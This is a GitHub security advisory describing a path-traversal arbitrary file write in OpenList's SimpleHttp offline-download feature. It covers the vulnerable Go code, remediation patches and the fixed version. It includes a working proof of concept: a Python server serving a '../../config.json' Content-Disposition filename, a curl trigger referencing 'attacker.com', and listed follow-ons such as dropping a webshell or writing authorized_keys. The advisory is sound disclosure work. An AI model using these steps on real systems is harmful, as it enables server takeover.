VDB
Sign up
MEDIUM6.5

GHSA-h6cj-26g5-67fv

OpenList: Authenticated arbitrary file write via Content-Disposition path traversal in SimpleHttp offline-download tool

Quick fix

GHSA-h6cj-26g5-67fv — github.com/OpenListTeam/OpenList: upgrade to the fixed version with the command below.

go get github.com/OpenListTeam/OpenList@v4.2.3

Details

### Summary

Alist's offline-download feature (`POST /api/fs/add_offline_download` with `tool: "SimpleHttp"`) accepts an attacker-supplied URL, fetches it, and saves the bytes under a per-task temp directory before transferring to the user's destination storage. The temp filename is taken from the response's `Content-Disposition` header (attacker-controlled when the URL points to an attacker HTTP server), passed verbatim to `filepath.Join(tempDir, filename)`, and written via `os.Create` with no containment check. Go's `filepath.Join` calls `Clean` on the result, which collapses `..` segments and lets the attacker traverse out of `tempDir` to write any file the alist process can write.

A non-admin user with `PermAddOfflineDownload` permission on any path is sufficient.

### Affected code

`internal/offline_download/http/util.go` — filename returned verbatim from header:

```go func parseFilenameFromContentDisposition(contentDisposition string) (string, error) { if contentDisposition == "" { return "", fmt.Errorf("Content-Disposition is empty") } _, params, err := mime.ParseMediaType(contentDisposition) if err != nil { return "", err } filename := params["filename"] if filename == "" { return "", fmt.Errorf("filename not found in Content-Disposition: [%s]", contentDisposition) } return filename, nil // ← no traversal stripping } ```

`internal/offline_download/http/client.go` (`SimpleHttp.Run`):

```go filename := path.Base(urlPath) // safe if n, err := parseFilenameFromContentDisposition(resp.Header.Get("Content-Disposition")); err == nil { filename = n // UNSAFE — no sanitization } _ = os.MkdirAll(task.TempDir, os.ModePerm) filePath := filepath.Join(task.TempDir, filename) // filepath.Join calls Clean; "../" escapes tempDir file, err := os.Create(filePath) // arbitrary file create+truncate _, _ = utils.CopyWithCtx(task.Ctx(), file, resp.Body, fileSize, task.SetProgress) ```

`server/handles/offline_download.go` (`AddOfflineDownload`) is mounted under normal user auth (not `AuthAdmin`). The only permission check is `common.HasPermission(perm, common.PermAddOfflineDownload)`.

Note: `tryPutUrl` in `internal/offline_download/tool/add.go` is a partial bypass for cloud-storage destinations whose driver implements `PutURL` (e.g., 115 Cloud, PikPak, Thunder). For the local-storage driver — the most common target — `tryPutUrl` returns `errs.NotImplement` and execution falls through to the vulnerable `SimpleHttp.Run` path.

### PoC

1. Attacker has any alist account with `PermAddOfflineDownload` on some path it can write to (e.g. `/somefolder`). 2. Attacker hosts a small HTTP listener:

```python from http.server import BaseHTTPRequestHandler, HTTPServer PAYLOAD = b"any_attacker_controlled_bytes\n" TRAVERSAL = "../../config.json" # destination path under /opt/alist/data/ class H(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Disposition", f'attachment; filename="{TRAVERSAL}"') self.send_header("Content-Length", str(len(PAYLOAD))) self.end_headers() self.wfile.write(PAYLOAD) HTTPServer(("0.0.0.0", 80), H).serve_forever() ```

3. Trigger:

```bash curl -X POST 'http://victim-alist.example/api/fs/add_offline_download' \ -H 'Authorization: <session-token>' \ -H 'Content-Type: application/json' \ -d '{"urls":["http://attacker.com/payload"],"tool":"SimpleHttp","path":"/somefolder","delete_policy":"delete_never"}' ```

4. Server-side: `tempDir = /opt/alist/data/temp/SimpleHttp/<uuid>`. `filename = "../../config.json"`. `filePath = filepath.Join(tempDir, filename)` cleans to `/opt/alist/data/config.json`. `os.Create` truncates the existing config; the response body is streamed in.

### Impact

The minimal, deployment-agnostic guarantee is: the attacker can cause the application to create or overwrite files whose parent directory exists, with content of their choice, **as the alist process** (PUID=0 in default Docker). Because the vulnerable code ultimately calls `os.Create` on the attacker-controlled resolved path, existing files may be truncated and replaced when the target already exists. Concrete impact paths include:

- **Replace `/opt/alist/data/config.json`** with attacker config (alternative JwtSecret, admin password hash, allowed origins) — admin takeover on next restart / config-reload hook. - **Drop a webshell** into a writable docroot served by a sibling web server (environment-dependent). - **Truncate the alist binary** at `/opt/alist/alist` (Linux permits overwriting an executing binary on most filesystems) — next start runs attacker's binary. - **Write `authorized_keys`** if a host volume bind-mounts e.g. `/root/.ssh` and that directory exists.

Caveat: the parent directory of the target must already exist; `os.Create` does not `mkdir -p` intermediate components. This still leaves many high-impact targets reachable on default deployments.

### Adversarial review notes

- `filepath.Join` *does* collapse `..` (Go semantics confirmed via stdlib). - No containment check exists after the join. - `mime.ParseMediaType` does not strip path separators or `..` from `filename` or RFC 5987 `filename*`. - The resolved path is opened using `os.Create`, which truncates existing files and therefore permits overwrite in addition to creation when the target path already exists. - `SimpleHttp` is registered by default (`internal/offline_download/all.go`). - The route is *not* `AuthAdmin`-gated. - Default guest is disabled (perm 0); this requires a user with `PermAddOfflineDownload`.

### Remediation

Minimal patch in `internal/offline_download/http/util.go`:

```go filename = filepath.Base(filename) if filename == "" || filename == "." || filename == ".." || !filepath.IsLocal(filename) { return "", fmt.Errorf("invalid filename in Content-Disposition: [%s]", contentDisposition) } return filename, nil ```

Defense-in-depth in `internal/offline_download/http/client.go` after computing `filePath`:

```go cleanTempDir := filepath.Clean(task.TempDir) + string(filepath.Separator) if !strings.HasPrefix(filepath.Clean(filePath)+string(filepath.Separator), cleanTempDir) { return fmt.Errorf("filename escapes temp dir") } ```

Additionally, file creation should reject existing targets (or use an equivalent exclusive-create mechanism) to prevent accidental or attacker-controlled overwrites when a chosen filename resolves to an existing file.

```go if _, err := os.Stat(filePath); err == nil { return fmt.Errorf("file already exists") } ```

The same Content-Disposition / URL-derived filename trust pattern should be reviewed in the other offline-download tools under `internal/offline_download/{aria2,qbit,transmission,115,pikpak,thunder}/` for consistency.

### Inherited from upstream

This bug is inherited from upstream alist/alist-org/alist. Sister advisories are being filed against AlistGo/alist (the active downstream) and alist-org/alist (the original tree).

### Cross-reference

This is a different code path from the previously fixed CVE-2026-25161 (GHSA-x4q4-7phh-42j9, fsmanage/fsbatch path traversal patched in v3.57.0). The offline-download `SimpleHttp` downloader was not in scope of that fix; the vulnerable code is on `main` HEAD as of the time of this report (verified against the openlistteam/openlist tree's `internal/offline_download/http/client.go` retrieved 2026-05-09 — the SimpleHttp.Run function still calls `parseFilenameFromContentDisposition` and uses the result verbatim with `filepath.Join(task.TempDir, filename)`. OpenList's variant adds a `strings.Trim(filename, "/")` call which strips leading/trailing slashes but does NOT block `..` traversal segments — so the bug remains exploitable.)

### Credit

Discovered during a cross-target meta-sweep on path-traversal in file-upload / download pipelines. Static review of public source; no live exploitation.

Are you affected?

Enter the version of the package you're using.

Affected packages

Go/github.com/OpenListTeam/OpenList
Introduced in: 0Fixed in: 4.2.3
Fixgo get github.com/OpenListTeam/OpenList@v4.2.3

References